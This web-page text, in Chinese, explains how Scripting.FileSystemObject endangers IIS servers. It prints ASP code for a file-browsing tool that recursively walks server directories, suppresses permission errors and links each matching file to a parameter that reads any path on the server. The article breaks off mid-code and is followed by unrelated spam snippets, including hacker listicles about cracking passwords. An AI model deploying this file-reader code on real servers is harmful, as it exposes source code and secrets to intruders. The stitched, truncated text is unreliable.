scripting.filesystemobject 对象是由 scrrun.dll 提供的许多供 vbscript/jscript 控制的 com 对象之一。scripting.filesystemobject 提供了非常便利的文本文件和文件目录的访问,但是同时也对 iis web 服务器数据安全造成了一定的威胁。
filefinder 的代码很简单,由3 个函数和 30 行左右的顺序代码构成。
最关键的是 findfiles 函数,通过对它的递归调用实现对某个目录的遍历,并且按照特定的文件扩展名来搜寻这些文件。
function findfiles(strstartfolder, strext)
dim n
dim othisfolder
dim ofolders
dim ofiles
dim ofolder
dim ofile
' 如果系统管理员对文件系统的权限进行细致的设置话,下面的代码就要出错
' 但是有些目录还是可以察看的,所以我们简单的把错误忽略过去
on error resume next
n = 0
response.write "<b>searching " & strstartfolder & "</b><br>"
set othisfolder = g_fs.getfolder(strstartfolder)
set ofiles = othisfolder.files
for each ofile in ofiles
' 如果是指定的文件扩展名,输出连接导向本身,但用不同的命令 cmd
' 在这里是 cmd=read,即读出指定物理路径的文本文件
if issuffix(ofile.path, strext) then
response.write "<a target=_blank href='ff.asp?cmd=read&path=" & server.htmlencode(ofile.path) & "'><font color='dodgerblue'>" & ofile.path & "</font></a><br>"
if err = 0 then
n = n + 1
end if
end if
next
set ofolders = othisfolder.subfolders
for each ofolder in ofolders
n = n + findfiles(ofolder.path, strext)
next
findfiles = n
end function
下面的代码是对 url 后面的参数进行分析:
' 读出各个参数的值
strcmd = ucase(request.querystring("cmd"))
strpath = request.querystring("path")
strext = request.querystring("ext")
brawdata = ucase(request.querystring("raw"))
' 默认搜索 .asp 文件
if strpath = "" then
strpath = "."
end if
if strext = "" then
strext = ".asp"
end if
' 根据不同的命令 cmd 执行不同的代码
工程资料管理台账(资料管理台账) “推促进动,不推没动 ,乃至推而没动”,是真抓实干中存有的一种“拖拉症”。 做为监管“一府两院 ”勤政廉政的人行政机关,应对每日任务和义务 ,怎样保证 工作中高效...
. 科颜氏的眼霜可以说是很好用了,科颜氏牛油果眼霜可以带走细纹使眼部更加滋润,上妆更加服帖,不过好货一定要辨别真假,怎么知道自己买的科颜氏眼霜就是真的呢,友谊长存小编就来说说吧。 科颜氏14g眼霜...
本文导读目录: 1、白帽黑客是什么 白帽黑客和黑帽黑客有什么区别 2、中国十大黑客排名是什么?有什么事迹? 3、关于黑客的三种类型:白帽,灰帽,黑帽 4、IT圈说的白帽子,红帽子,黑帽子都...
怎么装的很懂黑客 ai自学教程(ai自学教程百度网盘) 怎么行使黑客手艺找回微信密码 黑客水平品级简称(黑客品级) 黑客怎么破密码 洪门为什么国家管不了(剑录洪门崛起)...
编辑导读:11月1日,《说唱新世代》收官,这款B站廉价综艺得到了大部门用户的赞赏,也为B站带来了极高的存眷度。可是一般环境下爆款综艺节目都逃不外越做越烂的逆境,《说唱新世代》之后的创新开拓,是一个需要...
本文导读目录: 1、网络十大黑客家族 2、英雄联盟第329章最后几段谁给林东发的那条短信? 3、网络小说主角是林东的小说有哪些? 4、世界十大网络黑客都有哪些人? 5、网络黑客去哪里报...